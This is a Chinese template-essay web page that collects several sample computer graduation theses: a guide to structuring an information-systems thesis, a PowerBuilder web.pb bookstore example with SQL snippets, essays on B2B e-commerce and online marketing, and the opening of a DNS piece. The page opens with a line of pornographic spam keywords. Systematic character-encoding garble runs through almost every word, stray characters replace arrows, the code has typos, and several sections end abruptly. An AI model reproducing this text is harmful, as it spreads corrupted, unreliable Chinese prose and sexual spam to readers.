欧洲成人午夜精品无码区久久_久久精品无码专区免费青青_av无码电影一区二区三区_各种少妇正面着bbw撒尿视频_中文精品久久久久国产网址

學(xué)術(shù)刊物 生活雜志 SCI期刊 投稿指導(dǎo) 期刊服務(wù) 文秘服務(wù) 出版社 登錄/注冊(cè) 購(gòu)物車(0)

首頁(yè) > 精品范文 > 計(jì)算機(jī)畢業(yè)論文

計(jì)算機(jī)畢業(yè)論文精品(七篇)

時(shí)間:2023-01-16 20:09:40

序論:寫(xiě)作是一種深度的自我表達(dá)。它要求我們深入探索自己的思想和情感,挖掘那些隱藏在內(nèi)心深處的真相,好投稿為您帶來(lái)了七篇計(jì)算機(jī)畢業(yè)論文范文,愿它們成為您寫(xiě)作過(guò)程中的靈感催化劑,助力您的創(chuàng)作。

篇(1)

我們這篇文章分部分進(jìn)行講解:

一、本科學(xué)生畢業(yè)論文的目的和內(nèi)容

二、管理信息系統(tǒng)開(kāi)發(fā)的主要步驟

三、計(jì)算機(jī)專業(yè)所選開(kāi)發(fā)工具和注意事項(xiàng)

四、計(jì)算機(jī)畢業(yè)論文撰寫(xiě)格式

五、畢業(yè)論文中正文的寫(xiě)法和注意事項(xiàng)

六、結(jié)束語(yǔ)的寫(xiě)法

七、參考文獻(xiàn)列出畢業(yè)論文設(shè)計(jì)中主要參考書(shū)籍

八、附錄的寫(xiě)法

九、論文評(píng)分的能用標(biāo)準(zhǔn)

一、本科學(xué)生畢業(yè)論文的目的和內(nèi)容

本科學(xué)生在畢業(yè)之前必須做畢業(yè)論文,其目的是通過(guò)畢業(yè)論文,讓學(xué)生獨(dú)立開(kāi)發(fā)一個(gè)具體的計(jì)算機(jī)應(yīng)用項(xiàng)目,系統(tǒng)地進(jìn)行分析總結(jié)和運(yùn)用學(xué)過(guò)的書(shū)本知識(shí),以鞏固本科階段所學(xué)的專業(yè)理論知識(shí),并給予一個(gè)理論聯(lián)系實(shí)際的機(jī)會(huì)。

為了便于實(shí)施和管理,規(guī)定網(wǎng)絡(luò)學(xué)院計(jì)算機(jī)相關(guān)專業(yè)本科學(xué)生畢業(yè)論文主要以開(kāi)發(fā)一個(gè)管理信息系統(tǒng)為畢業(yè)實(shí)踐的課題,每個(gè)畢業(yè)生通過(guò)獨(dú)立開(kāi)發(fā)一個(gè)具體的管理信息系統(tǒng),掌握開(kāi)發(fā)一個(gè)比整完整的管理信息系統(tǒng)的主要步驟,并從中獲得一定的實(shí)際經(jīng)驗(yàn)。

二、管理信息系統(tǒng)開(kāi)發(fā)的主要步驟

管理信息系統(tǒng)開(kāi)發(fā)的主要步驟及各步驟的基本內(nèi)容如下:

1、系統(tǒng)分析

主要工作內(nèi)容有以下幾項(xiàng):確定系統(tǒng)目標(biāo),系統(tǒng)可行性分析

2、系統(tǒng)調(diào)查

系統(tǒng)的組織結(jié)構(gòu)、職能結(jié)構(gòu)和業(yè)務(wù)流程分析。其中系統(tǒng)的組織結(jié)構(gòu)圖應(yīng)畫(huà)成樹(shù)狀結(jié)構(gòu)。

系統(tǒng)業(yè)務(wù)流程分析、業(yè)務(wù)流程圖

3、數(shù)據(jù)流程分析

數(shù)據(jù)流程圖(系統(tǒng)關(guān)聯(lián)圖、頂層圖、一層數(shù)據(jù)流圖、二層數(shù)據(jù)流圖)、數(shù)據(jù)詞典、代碼設(shè)計(jì)

4、管理信息系統(tǒng)的功能設(shè)計(jì)

系統(tǒng)的功能結(jié)構(gòu)圖,每個(gè)功能模塊的主要工作內(nèi)容、輸入輸出要求等。

系統(tǒng)控制結(jié)構(gòu)圖

5、數(shù)據(jù)庫(kù)設(shè)計(jì)

概念模型設(shè)計(jì):實(shí)體、實(shí)體間的聯(lián)系、E-R圖

關(guān)系模式設(shè)計(jì):E—R圖->關(guān)系模式的轉(zhuǎn)換規(guī)則

關(guān)系模式

數(shù)據(jù)庫(kù)表設(shè)計(jì):數(shù)據(jù)庫(kù)表結(jié)構(gòu)

6、系統(tǒng)物理配置方案

7、人機(jī)界面設(shè)計(jì)

8、模塊處理概述

9、系統(tǒng)測(cè)試和調(diào)試:測(cè)試計(jì)劃、測(cè)試用例、測(cè)試結(jié)果

三、開(kāi)發(fā)工具和注意事項(xiàng)

1、開(kāi)發(fā)工具

開(kāi)發(fā)工具可由學(xué)生任選。如Delphi、FoxPro、VB、Access等,這些工具的使用全由學(xué)生自學(xué)。

2、注意事項(xiàng)

(1)項(xiàng)目開(kāi)發(fā)步驟的完整性(系統(tǒng)需求分析、概念設(shè)計(jì)、物理設(shè)計(jì)、系統(tǒng)環(huán)境和配置、系統(tǒng)實(shí)施以及系統(tǒng)測(cè)試和調(diào)試等)

(2)每個(gè)開(kāi)發(fā)步驟所得結(jié)果的正確性(業(yè)務(wù)流程圖、數(shù)據(jù)流程圖、數(shù)據(jù)詞典、HIPO圖、E-R圖、關(guān)系模式、人機(jī)界面設(shè)計(jì)及模塊處理等的詳細(xì)分析和說(shuō)明)

(3)論文整體結(jié)構(gòu)的完整性(前言、各個(gè)具體步驟的敘述和分析、結(jié)語(yǔ)、參考文獻(xiàn)和有關(guān)附錄)

(4)提供軟件系統(tǒng)的可執(zhí)行盤(pán)片及操作說(shuō)明書(shū)

(5)參考資料(列出必要的參考資料)

四、畢業(yè)論文撰寫(xiě)格式

注意:1.每個(gè)步驟都要有文字說(shuō)明和論述2.各個(gè)步驟必須是有機(jī)的組合,不可以支離破碎不成一體。

一、封面

二、摘要用約200-400字簡(jiǎn)要介紹一下論文中闡述的主要內(nèi)容及創(chuàng)新點(diǎn)

三、主題詞用一、二個(gè)詞點(diǎn)明論文所述內(nèi)容的性質(zhì)。(二和三要在同一頁(yè)面上)

四、目錄一般采用三級(jí)目錄結(jié)構(gòu)。例如第三章系統(tǒng)設(shè)計(jì)3.1系統(tǒng)概念結(jié)構(gòu)3.1.1概念模型

五、正文

第一章前言

簡(jiǎn)要介紹:組織機(jī)構(gòu)概況、項(xiàng)目開(kāi)發(fā)背景、信息系統(tǒng)目標(biāo)、開(kāi)發(fā)方法概述、項(xiàng)目開(kāi)發(fā)計(jì)劃等。

第二章系統(tǒng)需求分析

本章應(yīng)包含:

(1)現(xiàn)行業(yè)務(wù)系統(tǒng)描述

包括業(yè)務(wù)流程分析,給出業(yè)務(wù)流程圖。

具體要求:業(yè)務(wù)流程圖必須有文字說(shuō)明,圖要完整、一定要有業(yè)務(wù)傳遞的流程。

(2)現(xiàn)行系統(tǒng)存在的主要問(wèn)題分析

指出薄弱環(huán)節(jié)、指出要解決的問(wèn)題的實(shí)質(zhì),確保新系統(tǒng)更好,指出關(guān)鍵的成功因素。

(3)提出可能的解決方案

(4)可行性分析和抉擇

包括技術(shù)可行性、經(jīng)濟(jì)可行性、營(yíng)運(yùn)可行性分析和抉擇。

第三章新系統(tǒng)邏輯方案

針對(duì)用戶需求,全面、系統(tǒng)、準(zhǔn)確、詳細(xì)地描述新系統(tǒng)應(yīng)具備的功能。

(1)數(shù)據(jù)流程分析

最主要的是給出數(shù)據(jù)流程圖,要求滿足以下條件:

A.?dāng)?shù)據(jù)流程圖必須包括系統(tǒng)關(guān)聯(lián)圖、系統(tǒng)頂層圖、第一層分解圖和第二層分解圖組成。B.系統(tǒng)關(guān)聯(lián)圖確定了從外部項(xiàng)到系統(tǒng)的數(shù)據(jù)流和從系統(tǒng)向外部項(xiàng)的數(shù)據(jù)流,這些數(shù)據(jù)流在其它層次的數(shù)據(jù)流中不允許減少,也不允許增加。各層次內(nèi)部的數(shù)據(jù)流不受關(guān)聯(lián)圖的限制。C.數(shù)據(jù)流應(yīng)有名字。D.外部項(xiàng)和數(shù)據(jù)存儲(chǔ)之間不得出現(xiàn)未經(jīng)加工的數(shù)據(jù)流。E.數(shù)據(jù)流程圖的分解中,必須保持每個(gè)分層同其上層加工中的外部項(xiàng)和輸入輸出流相一致。F.各加工之間一般不應(yīng)出現(xiàn)未經(jīng)數(shù)據(jù)存儲(chǔ)的數(shù)據(jù)流。G.數(shù)據(jù)存儲(chǔ)之間不得出現(xiàn)未經(jīng)加工的數(shù)據(jù)流。H.數(shù)據(jù)存儲(chǔ)可以分解。I.若有查詢處理,應(yīng)在數(shù)據(jù)流程圖中表達(dá)。J.統(tǒng)計(jì)和打印報(bào)表不在數(shù)據(jù)流圖中表達(dá)。

(2)數(shù)據(jù)詞典描述

可采用圖表格式或較緊湊的記錄格式描述A、若采用圖表格式,可只寫(xiě)出數(shù)據(jù)流、數(shù)據(jù)元素、加工、數(shù)據(jù)存儲(chǔ)和外部項(xiàng)各一個(gè)表。B、若采用緊湊的記錄格式,則應(yīng)列出全部成分。如數(shù)據(jù)元素:編號(hào)名稱存在于數(shù)據(jù)結(jié)構(gòu)備注E1入庫(kù)數(shù)據(jù)F1/F3/F11/F15入庫(kù)單號(hào)日期貨號(hào)數(shù)量E2出庫(kù)數(shù)據(jù)F1/F3/F11/F15出庫(kù)單號(hào)日期貨號(hào)數(shù)量C、據(jù)流程圖中系統(tǒng)頂層圖的數(shù)據(jù)加工都必須詳盡寫(xiě)出。

(3)基本加工小說(shuō)明

可采用結(jié)構(gòu)化語(yǔ)言、數(shù)學(xué)公式等描述各個(gè)基本加工。

第四章系統(tǒng)總體結(jié)構(gòu)設(shè)計(jì)

(1)軟件模塊結(jié)構(gòu)設(shè)計(jì)A、系統(tǒng)軟件模塊結(jié)構(gòu)圖,并由此導(dǎo)出功能分解圖及層次式菜單結(jié)構(gòu)。B、系統(tǒng)的模塊結(jié)構(gòu)應(yīng)與數(shù)據(jù)流程圖的頂層圖的加工一致。

(2)數(shù)據(jù)庫(kù)設(shè)計(jì)A、應(yīng)按下列次序闡述各個(gè)元素:實(shí)體、實(shí)體的屬性、實(shí)體間聯(lián)系、E-R圖、轉(zhuǎn)換規(guī)則、關(guān)系模式。B、在介紹實(shí)體的屬性時(shí),不應(yīng)包括聯(lián)系屬性,聯(lián)系屬性直至關(guān)系模式中才出現(xiàn)。C、數(shù)據(jù)流程圖中的每個(gè)數(shù)據(jù)存儲(chǔ)可隱含于E-R圖中的多個(gè)實(shí)體。D、E-R圖中的實(shí)體要與數(shù)據(jù)流程圖中的數(shù)據(jù)存儲(chǔ)相對(duì)應(yīng)。每個(gè)實(shí)體要指出實(shí)體的標(biāo)識(shí)碼(主碼)。對(duì)每個(gè)實(shí)體或聯(lián)系應(yīng)列出其應(yīng)有的屬性(用列舉的方法)。E、E-R圖中至少要有一個(gè)多對(duì)多的聯(lián)系。F、必須嚴(yán)格按照轉(zhuǎn)換規(guī)則從E-R圖產(chǎn)生數(shù)據(jù)關(guān)系模式集,需要時(shí)作必要的優(yōu)化,并說(shuō)明理由。G、對(duì)于一對(duì)一的聯(lián)系,只應(yīng)把任一個(gè)實(shí)體的主碼放在另一個(gè)實(shí)體中作為外碼。H、一對(duì)多聯(lián)系也可以產(chǎn)生新的關(guān)系模式,如要這樣做,必須說(shuō)明理由。I、多對(duì)多聯(lián)系,或三元聯(lián)系必須產(chǎn)生新的關(guān)系模式。J、關(guān)系模式的個(gè)數(shù)和名字要與E-R圖中的實(shí)體和聯(lián)系相一致。K.、每個(gè)關(guān)系模式中要用下橫線標(biāo)出主碼,后隨的符號(hào)“#”標(biāo)出外碼。L、若有代碼對(duì)照表可在最后列出,需另加說(shuō)明。

(3)計(jì)算機(jī)系統(tǒng)配置方案的選擇和設(shè)計(jì)

給出硬件配置,系統(tǒng)軟件配置,網(wǎng)絡(luò)通信系統(tǒng)配置(可選)等內(nèi)容。

(4)系統(tǒng)總體安全性、可靠性方案與措施。

第五章系統(tǒng)詳細(xì)設(shè)計(jì)

(1)代碼設(shè)計(jì)基本數(shù)據(jù)項(xiàng)的代碼格式。

(2)人機(jī)界面設(shè)計(jì)給出人機(jī)界面視圖(輸入輸出接口,屏幕格式設(shè)計(jì)等)

(3)模塊處理過(guò)程根據(jù)軟件環(huán)境做不同處理??刹捎媚_本、程序流程圖、結(jié)構(gòu)化的PDL語(yǔ)言等。

第六章實(shí)施概況

(1)實(shí)施環(huán)境和工具的比較選擇

(2)編程環(huán)境、工具、實(shí)現(xiàn)與數(shù)據(jù)準(zhǔn)備概況

(3)系統(tǒng)測(cè)試概況主要包括測(cè)試計(jì)劃、測(cè)試用例、測(cè)試記錄。

(4)系統(tǒng)轉(zhuǎn)換方案及實(shí)現(xiàn)概況

(5)系統(tǒng)運(yùn)行與維護(hù)概況

六、結(jié)束語(yǔ)

(1)系統(tǒng)特色、局限與展望

(2)實(shí)施中遇到的挫折、創(chuàng)新、體會(huì)與致謝

七、參考文獻(xiàn)列出畢業(yè)論文設(shè)計(jì)中主要參考書(shū)籍

序號(hào)、書(shū)名或文章名、作者名、出版社或雜志名、出版日期或雜志期號(hào)。

八、附錄

(1)列出部分有一定代表性的程序代碼段

(2)操作說(shuō)明書(shū)

九、論文評(píng)分標(biāo)準(zhǔn)

1、A等

系統(tǒng)正確無(wú)誤,系統(tǒng)功能完善,設(shè)計(jì)步驟完整正確,實(shí)用性強(qiáng),有一定的創(chuàng)新性,論文結(jié)構(gòu)嚴(yán)謹(jǐn),表述流暢。

2、B等

系統(tǒng)基本正確,系統(tǒng)功能基本完善,設(shè)計(jì)步驟基本完整正確,有一定的實(shí)用性,論文結(jié)構(gòu)良好,表述基本流暢。

3、C等

系統(tǒng)有少量錯(cuò)誤,系統(tǒng)功能不夠完善,設(shè)計(jì)步驟欠完整,基本上沒(méi)有實(shí)用性,論文結(jié)構(gòu)一般,表述基本清楚。

4、不及格

篇(2)

摘要介紹了幾種powerbuiler開(kāi)發(fā)web應(yīng)用的幾種方法,分析其原理和

結(jié)構(gòu),并給出了用web.pb開(kāi)發(fā)簡(jiǎn)單的網(wǎng)上應(yīng)用的實(shí)例.

關(guān)鍵詞web應(yīng)用;cgi;分布式應(yīng)用

abstractthemethodsofdevelopingwebapplicationusingpowerbuilerandthe

structureofthatareintroduced.anexampleofshoppingininternetdevelopedusing

web.pbisgiven.

1引言

隨著計(jì)算機(jī)網(wǎng)絡(luò)技術(shù)的日趨成熟,internet的發(fā)展迅速,internet應(yīng)用開(kāi)發(fā)將是現(xiàn)在和將來(lái)信息系統(tǒng)開(kāi)發(fā)的主要技術(shù)方向之一。powerbuilder是sybase公司推出的用于企業(yè)級(jí)應(yīng)用的開(kāi)發(fā)工具,該工具不僅具有client/server應(yīng)用的各種先進(jìn)技術(shù),還提供了基于瀏覽器/服務(wù)器的應(yīng)用開(kāi)發(fā)模式.

2powerbuilder中的web應(yīng)用模塊

powerbuilder中含有開(kāi)發(fā)web應(yīng)用的模塊,通過(guò)這些模塊可以連接web服務(wù)器與powerbuilder應(yīng)用.該模塊包括以下及部分,web.pb:是幾個(gè)可以在web服務(wù)器上執(zhí)行的程序,被服務(wù)器激活后,調(diào)用powerbuilder應(yīng)用,完成客戶端任務(wù)和對(duì)數(shù)據(jù)庫(kù)的事務(wù)操作.plug_ins(插入件):包括windowplug_in和datawindowplug_in,此方式可將powerbuilder對(duì)象嵌入到頁(yè)面中,在瀏覽器端執(zhí)行powerbuilder應(yīng)用.windowactivex:此方式與windowplug_in類似,所不同在于該方式可以和html中的javascripts,vbscripts交互.本文主要討論利用web.pb開(kāi)發(fā)web應(yīng)用.

3利用web.pb開(kāi)發(fā)web應(yīng)用

web.pb本身就是一個(gè)cgi程序,它提供了從服務(wù)器到powerbuilder應(yīng)用的訪問(wèn).所以在web.pb之上,可以利用powerbuilder的強(qiáng)大功能開(kāi)發(fā)復(fù)雜的web應(yīng)用,如采用powerbuilder的powerscripts語(yǔ)言環(huán)境,數(shù)據(jù)窗口技術(shù)等.powerbuilder的web應(yīng)用構(gòu)建前提是分布式應(yīng)用體系.powerbuilder的客戶端應(yīng)用分布到web服務(wù)器上,可將web.pb看作為客戶端應(yīng)用.當(dāng)客戶端應(yīng)用web.pb被web服務(wù)器激活后,調(diào)用powerbuilder的服務(wù)器應(yīng)用,執(zhí)行在服務(wù)器應(yīng)用中定義的方法,實(shí)現(xiàn)業(yè)務(wù)邏輯,如下圖所示:

這種模式是真正的“廋”客戶機(jī)模式,客戶端不需要安裝其它軟件,只安裝瀏覽器軟件.所有的事務(wù)操作都在服務(wù)器端完成,下面將結(jié)合實(shí)例詳細(xì)說(shuō)明:

利用powerbuilder開(kāi)發(fā)一個(gè)網(wǎng)上購(gòu)書(shū)應(yīng)用.對(duì)于分布式powerbuilder應(yīng)用,首先應(yīng)向客戶web.pb指明powerbuilder服務(wù)器應(yīng)用在網(wǎng)絡(luò)上的位置(location),其應(yīng)用名,使用文件pbweb.ini來(lái)記錄服務(wù)器應(yīng)用信息.在此例中,取服務(wù)器應(yīng)用名為tutorial,driver=winsock,application=10099/tcp,location=localhost.

建一個(gè)數(shù)據(jù)庫(kù)(book_dealing)其中有三個(gè)表,分別為:

“book”:b_name,b_no,b_publisher,b_price,b_num

“customer”:c_name,c_tel,c_addr

“dealing”:b_name,c_name,d_num,d_time

建一個(gè)數(shù)據(jù)窗口dw_book,其sql語(yǔ)法為:

select“book”.”b_name”,

“book”.”b_no”,

“book”.”b_publisher”,

“book”.”b_price”,

“book”.”b_num”

from“book”

創(chuàng)建pb服務(wù)器應(yīng)用的用戶界面。在窗口w_server上有兩個(gè)按鈕cb_1,cb_2,再定義一個(gè)transport類型的實(shí)例變量mytransport,cb_1的clicked事件有關(guān)程序如下:

..........

mytransport=createtransport

mytransport.driver=“winsock”

mytransport.location=“l(fā)ocalhost”

mytransport.application=“10099”

.........

創(chuàng)建一個(gè)不可視的用戶對(duì)象u_internet,定義一個(gè)transaction類型的全局變量mytransaction,在該用戶對(duì)象的constructor事件中定義連接到數(shù)據(jù)庫(kù)(book_dealing)的事務(wù)對(duì)象mytransaction和連接到數(shù)據(jù)庫(kù)(webpb)的事務(wù)對(duì)象sqlca,在該對(duì)象的destructor事件中分別取消這兩個(gè)事務(wù)對(duì)象。

在u_internet上定義兩個(gè)函數(shù)分別為f_book,f_book_dealing,這兩個(gè)函數(shù)的返回值都為字符類型。在f_book中,利用數(shù)據(jù)窗口dw_book作數(shù)據(jù)庫(kù)查詢,再利用數(shù)據(jù)窗口的屬性將查詢結(jié)果以html形式返回給web.pb,有關(guān)程序如下:

stringreturn_html

datastoredd

dd=createdatastore

dd.dataobject=”dw_book”

dd.settransobject(mytransaction)

dd.retrieve()

.....

return_html=return_html+dd.object.datawindow.data.htmltable

......

returnreturn_html

在函數(shù)f_dealing中,定義參數(shù)分別為:book_name,deal_num,custom_name,deal_time,custom_tel,custom_addr,用來(lái)接受form元素傳來(lái)的信息。再利用powerscripts語(yǔ)言對(duì)數(shù)據(jù)庫(kù)(book_dealing)進(jìn)行修改。有關(guān)程序如下:

stringreturn_html

…………

connectionusingmytransaction;

insertinto“customer”

(“c_name”,

“c_tel”,

“c_addr”)

values(:custom_name,:custom_tel,:custom_addr);

insertinto“dealing”

(“b_name”,

”d_num”,

”d_time”,

”c_name”)

value(:book_name,:deal_num,:deal_time,:custom_name);

ifmytransaction.sqlcacode>0then

return_html=”定貨成功!”

else

return_html=”定貨失敗!”

endif

………..

returnreturn_html

主頁(yè)上的“瀏覽書(shū)庫(kù)”的超連接為:

篇(3)

近幾年,電子商務(wù)的迅速發(fā)展及表現(xiàn)出來(lái)對(duì)社會(huì)經(jīng)濟(jì)生活的巨大影響已引起了人們的廣泛關(guān)注。特別是以美國(guó)為代表的經(jīng)濟(jì)發(fā)達(dá)國(guó)家,都在大規(guī)模地推動(dòng)電子商務(wù)的發(fā)展,并以此取代或改造傳統(tǒng)的商務(wù)活動(dòng)方式,重組業(yè)務(wù)流程,降低交易成本,加速流通過(guò)程,全面提高企業(yè)的市場(chǎng)競(jìng)爭(zhēng)力和綜合國(guó)力。從目前全球的發(fā)展情況看,電子商務(wù)將成為新世紀(jì)企業(yè)競(jìng)爭(zhēng)的主要手段,互聯(lián)網(wǎng)和電子商務(wù)的興起,不僅徹底改變經(jīng)濟(jì)增長(zhǎng)方式,還將改變世界經(jīng)濟(jì)格局和貿(mào)易體制。

從總體上看,電子商務(wù)可大致分為企業(yè)間的(Busines8toBusi-ness)和企業(yè)對(duì)消費(fèi)者的業(yè)務(wù)(BusinesstoConsumer)。我國(guó)正處在電子商務(wù)的起步階段,無(wú)論從國(guó)際發(fā)展趨勢(shì),還是從我國(guó)現(xiàn)實(shí)需要出發(fā),發(fā)展我國(guó)電子商務(wù)都要以推進(jìn)BtoB即企業(yè)對(duì)企業(yè)的業(yè)務(wù)為重點(diǎn)。面對(duì)新的形勢(shì),我國(guó)企業(yè)如不積極跟進(jìn)會(huì)在今后全面國(guó)際化的市場(chǎng)競(jìng)爭(zhēng)中處于被動(dòng)。

從國(guó)際電子商務(wù)發(fā)展的實(shí)踐和潮流看,BtoB業(yè)務(wù)占據(jù)絕對(duì)的主導(dǎo)地位。在全球電子商務(wù)銷售額中,BtoB業(yè)務(wù)高達(dá)80%至90%。以美國(guó)為例,目前企業(yè)間利用互聯(lián)網(wǎng)從事的商務(wù)活動(dòng)正急劇增加,主要包括:(1)企業(yè)與其供應(yīng)商之間采購(gòu)事物的協(xié)調(diào)3(2)物料計(jì)劃人員與倉(cāng)儲(chǔ)、運(yùn)輸其產(chǎn)品的公司間的業(yè)務(wù)協(xié)調(diào);(3)銷、售機(jī)構(gòu)與其產(chǎn)品批發(fā)商、零售商之間的協(xié)調(diào);(4)客戶服務(wù);(5)公司日常運(yùn)營(yíng)活動(dòng),內(nèi)部員工的交流等。據(jù)美國(guó)商業(yè)周刊公布的數(shù)字,1998年美國(guó)企業(yè)間的電子商務(wù)是企業(yè)對(duì)消費(fèi)者個(gè)人銷售業(yè)務(wù)的5倍。預(yù)計(jì)到2000年這一比例將達(dá)到10倍,其業(yè)務(wù)量將占到全美企業(yè)間貿(mào)易總量的9%,到2005年會(huì)進(jìn)一步擴(kuò)大到40%左右。

從交易形式看,企業(yè)間的網(wǎng)絡(luò)業(yè)務(wù)主要有兩類,即企業(yè)自建網(wǎng)與中介服務(wù)網(wǎng)。前者多為產(chǎn)業(yè)鏈條長(zhǎng),業(yè)務(wù)伙伴多或自身專業(yè)性較強(qiáng)的大企業(yè)、跨國(guó)公司,如飛機(jī)、汽車、計(jì)算機(jī)、辦公用品等行業(yè)制造商,大型批發(fā)、零售企業(yè)等,主要用于公司自身的業(yè)務(wù)和對(duì)供應(yīng)商、銷售商的服務(wù)。后者則由中介機(jī)構(gòu)建網(wǎng),主要面向中小企業(yè)提品的采購(gòu)、信息和銷售等方面的服務(wù)。

從實(shí)踐效果看,電子商務(wù)的應(yīng)用已使許多企業(yè)獲益。許多大公司,以“增值鏈”為核心,實(shí)施供應(yīng)鏈管理的電子化,成為目前電子商務(wù)的應(yīng)用主體。如,IBM公司從1996年起,實(shí)施生產(chǎn)、營(yíng)銷和采購(gòu)部門的電子通訊,改進(jìn)生產(chǎn)經(jīng)營(yíng)計(jì)劃,僅一年時(shí)間庫(kù)存周轉(zhuǎn)就加快了40%,產(chǎn)品銷售增加了30%,由于有效地利用現(xiàn)有的生產(chǎn)能力,減少投資,增加資金周轉(zhuǎn),節(jié)省引用5000萬(wàn)美元。又如美國(guó)通用電器公司啟用網(wǎng)上采購(gòu)系統(tǒng),自動(dòng)聯(lián)系客戶,協(xié)調(diào)業(yè)務(wù),下訂單,預(yù)計(jì)二、三年內(nèi)采購(gòu)量可達(dá)到50億美元,將為公司節(jié)省5—7億美元的采購(gòu)費(fèi)用。

從發(fā)展趨勢(shì)看,今后隨著電子商務(wù)的擴(kuò)大,中小企業(yè)將成為企業(yè)間電子商務(wù)活動(dòng)的主要增長(zhǎng)力量。目前正在建設(shè)中的美國(guó)汽車行業(yè)自動(dòng)交易系統(tǒng)(ANx),準(zhǔn)備把世界上所有的供貨商和制造商連接起來(lái),這一項(xiàng)目將在2000年啟用,屆時(shí)全美1/5的汽車零部件要通過(guò)該網(wǎng)銷售,業(yè)務(wù)量將達(dá)到300億美元,且供應(yīng)商多為二、三級(jí)中小企業(yè)。據(jù)美國(guó)權(quán)威機(jī)構(gòu)公布的數(shù)字表明,美國(guó)企業(yè)間的電子商務(wù)將進(jìn)入一個(gè)高速增長(zhǎng)的階段,今后5年的年均增長(zhǎng)率將達(dá)到40%以上,業(yè)務(wù)量也將成倍增長(zhǎng)。

從我國(guó)國(guó)情和現(xiàn)實(shí)條件出發(fā),用電子商務(wù)改造傳統(tǒng)產(chǎn)業(yè),增強(qiáng)企業(yè)的競(jìng)爭(zhēng)力是我國(guó)電子商務(wù)發(fā)展的重要內(nèi)容,也是推進(jìn)我國(guó)電子商務(wù)起步的現(xiàn)實(shí)選擇。

篇(4)

網(wǎng)絡(luò)營(yíng)銷是一種以消費(fèi)者為導(dǎo)向,強(qiáng)調(diào)個(gè)人化的營(yíng)銷方式

網(wǎng)絡(luò)營(yíng)銷最大的特點(diǎn)在于以消費(fèi)者為主導(dǎo)。消費(fèi)者將擁有比過(guò)去更大的選擇自由,他們可根據(jù)自己的個(gè)性特點(diǎn)和需求在全球范圍內(nèi)尋找滿足品,不受地域限制。通過(guò)進(jìn)入感興趣的的企業(yè)網(wǎng)址或虛擬商店,消費(fèi)者可獲取產(chǎn)品的更多的相關(guān)信息,使購(gòu)物更顯個(gè)性。

這種個(gè)性消費(fèi)的發(fā)展將促使企業(yè)重新考慮其營(yíng)銷戰(zhàn)略以消費(fèi)者的個(gè)性需求作為提品及服務(wù)的出發(fā)點(diǎn)。但是,要真正實(shí)現(xiàn)個(gè)性營(yíng)銷還必須解決龐大的促銷費(fèi)用問(wèn)題。網(wǎng)絡(luò)營(yíng)銷的出現(xiàn)則為這一難題提供了可行的解決途徑。企業(yè)的各種銷售信息在網(wǎng)絡(luò)上將以數(shù)字化的形式存在,可以以極底的成本發(fā)送并能隨時(shí)根據(jù)需要進(jìn)行修改,龐大的促銷費(fèi)用因而得以節(jié)省。企業(yè)也可以根據(jù)消費(fèi)者反饋的信息和要求通過(guò)自動(dòng)服務(wù)系統(tǒng)提供特別服務(wù)。

網(wǎng)絡(luò)營(yíng)銷具有極強(qiáng)的互動(dòng)性是實(shí)現(xiàn)全程營(yíng)銷的理想工具

傳統(tǒng)的傳統(tǒng)的營(yíng)銷管理強(qiáng)調(diào)4P(產(chǎn)品、價(jià)格、渠道和促銷)組合,現(xiàn)代營(yíng)銷管理則追求4C(顧客、成本、方便和溝通),然而無(wú)論那一種觀念都必須基于這樣一個(gè)前提:企業(yè)必須實(shí)行全程營(yíng)銷,即必須由產(chǎn)品的設(shè)計(jì)階段開(kāi)始就充分考慮消費(fèi)者的需求和意愿。

遺憾的是,在實(shí)際操作中這一點(diǎn)往往難以做到。原因在于消費(fèi)者與企業(yè)之間缺乏合適的溝通渠道或溝通成本太高。消費(fèi)者一般只能針對(duì)現(xiàn)有產(chǎn)品提出建議或批評(píng),對(duì)尚處于概念階段的產(chǎn)品難以涉足。此外,大多數(shù)的中小企業(yè)也缺乏足夠的資本用于了解消費(fèi)者的各種潛在需求,他們只能憑自身能力或參照市場(chǎng)領(lǐng)導(dǎo)者的策略進(jìn)行產(chǎn)品開(kāi)發(fā)。

而在網(wǎng)絡(luò)環(huán)境下,這一狀況將有所改觀。即使是中小企業(yè)也可以通過(guò)電子布告欄、線上討論廣場(chǎng)和電子郵件等方式,以極底成本在營(yíng)銷的全過(guò)程中對(duì)消費(fèi)者進(jìn)行即時(shí)的信息搜索,消費(fèi)者則有機(jī)會(huì)對(duì)產(chǎn)品從設(shè)計(jì)到定價(jià)(對(duì)采用理解價(jià)值定價(jià)法的企業(yè)尤為重要)和服務(wù)等一系列問(wèn)題發(fā)表意見(jiàn)。這種雙向互動(dòng)的溝通方式提高了消費(fèi)者的參與性與積極性,更重要的是它能使、企業(yè)的決策有的放矢,從根本上提高消費(fèi)者滿意度。

網(wǎng)絡(luò)營(yíng)銷能滿足消費(fèi)者對(duì)購(gòu)物方便性的需求,提高消費(fèi)者的購(gòu)物效率

現(xiàn)代化的生活節(jié)奏已使消費(fèi)者用于外出在商店購(gòu)物的時(shí)間越來(lái)越短。在傳統(tǒng)的購(gòu)物方式中,從商品買賣過(guò)程來(lái)看,一般需要經(jīng)過(guò)看樣棗選擇商品棗確定所需購(gòu)買的商品棗付款結(jié)算棗包裝商品棗取貨(或送貨)等一系列過(guò)程。這個(gè)買賣過(guò)程大多數(shù)是在售貨地點(diǎn)完成的,短則幾分鐘,長(zhǎng)則數(shù)個(gè)小時(shí),在加上購(gòu)買為購(gòu)買商品去購(gòu)物場(chǎng)所的路途時(shí)間、購(gòu)買后的返途時(shí)間及在購(gòu)買地的逗留時(shí)間,無(wú)疑是大大延長(zhǎng)了商品的買賣過(guò)程,使消費(fèi)者為購(gòu)買商品而在時(shí)間和精力上作出很大的付出。同時(shí),擁擠的交通和日益擴(kuò)大的店面更延長(zhǎng)了消費(fèi)者購(gòu)物所耗費(fèi)的時(shí)間和精力。然而,在現(xiàn)代社會(huì),隨著生活節(jié)奏的加快,使得人們?cè)絹?lái)越珍惜閑暇時(shí)間,越來(lái)越希望在閑暇時(shí)間內(nèi)從事一些有益于身心的活動(dòng),并充分地享受生活。在這中情況下,人們用于外出購(gòu)物的時(shí)間越來(lái)越少。

篇(5)

關(guān)鍵詞:域名地址服務(wù)器

當(dāng)前,在經(jīng)濟(jì)全球化和全球信息化大潮中,人們不僅重視信息及其集成的作用,而且更加重視信息使用者對(duì)信息集成的反應(yīng)和運(yùn)用?;ヂ?lián)網(wǎng)上的域名已為越來(lái)越多的人們所關(guān)注,因此,了解域名及其對(duì)應(yīng)的IP地址的關(guān)系,正確地配置域名服務(wù)器,就成為設(shè)立網(wǎng)站、使自己在Internet上注冊(cè)的域名得到體現(xiàn)的關(guān)鍵。

1.IP地址

